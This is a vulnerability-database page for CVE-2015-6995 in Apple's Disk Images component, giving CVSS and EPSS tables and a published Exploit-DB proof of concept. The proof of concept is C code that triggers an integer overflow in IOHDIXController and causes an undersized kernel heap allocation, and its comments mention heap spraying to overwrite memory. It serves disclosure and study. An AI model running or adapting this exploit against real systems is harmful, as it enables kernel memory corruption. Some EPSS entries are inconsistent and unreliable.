CVE-2015-6995

CVE Descriptions

The Disk Images component in Apple iOS before 9.1 and OS X before 10.11.1 misparses images, which allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.51%	–	–
2022-04-03	–	–	2.51%	–	–
2022-07-17	–	–	2.51%	–	–
2023-02-26	–	–	2.51%	–	–
2023-03-12	–	–	–	0.32%	–
2023-08-20	–	–	–	0.32%	–
2024-02-11	–	–	–	0.32%	–
2024-06-02	–	–	–	0.32%	–
2024-06-30	–	–	–	0.32%	–
2024-08-04	–	–	–	0.32%	–
2024-08-11	–	–	–	0.32%	–
2024-08-25	–	–	–	0.45%	–
2024-09-01	–	–	–	0.45%	–
2024-09-08	–	–	–	0.45%	–
2024-09-22	–	–	–	0.45%	–
2024-09-29	–	–	–	0.34%	–
2024-11-17	–	–	–	0.45%	–
2024-12-22	–	–	–	0.41%	–
2025-03-02	–	–	–	0.82%	–
2025-01-19	–	–	–	0.41%	–
2025-03-09	–	–	–	0.82%	–
2025-03-18	–	–	–	–	7.28%
2025-03-18	–	–	–	–	7.28,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	59%
2022-04-03	8%
2022-07-17	81%
2023-02-26	82%
2023-03-12	66%
2023-08-20	67%
2024-02-11	7%
2024-06-02	7%
2024-06-30	71%
2024-08-04	7%
2024-08-11	71%
2024-08-25	75%
2024-09-01	75%
2024-09-08	76%
2024-09-22	75%
2024-09-29	72%
2024-11-17	76%
2024-12-22	74%
2025-03-02	82%
2025-01-19	74%
2025-03-09	82%
2025-03-18	91%
2025-03-18	91%

Exploit information

Exploit Database EDB-ID : 39381

Publication date : 2016-01-27 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=511 Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size, casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can cause an integer overflow and IOMalloc will be passed a size of 0. IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel heap pointer. The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized kernel heap buffer. It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail and kernel panic somewhere inside that DMA code as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of that allowing us to actually overwrite stuff :) */ /* ianbeer clang -o iohdix iohdix.c -framework IOKit Integer Overflow in IOHDIXControllerUserClient::convertClientBuffer leading to undersized kalloc allocation passed to DMA code Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size, casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can cause an integer overflow and IOMalloc will be passed a size of 0. IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel heap pointer. The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized kernel heap buffer. It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail somewhere inside that DMA code as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of that allowing us to actually overwrite stuff :) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <IOKit/IOKitLib.h> int main(){ kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching("IOHDIXController"); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; }else{ printf("got userclient connection: %x, type:%d\n", conn, 0); } printf("got userclient connection: %x\n", conn); void* mem = malloc(0x100000000); uint64_t msg[0x100/8] = {0}; msg[0] = 0xbeeffeed; // +0x00 msg[1] = (uint64_t)mem; msg[2] = 0xffffffff; // +0x10 uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; //char inputStruct[4096]; //size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 4; // create a queue err = IOConnectCallMethod( conn, 0x5, inputScalar, inputScalarCnt, msg, 0x100, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); return 0; } return 0; }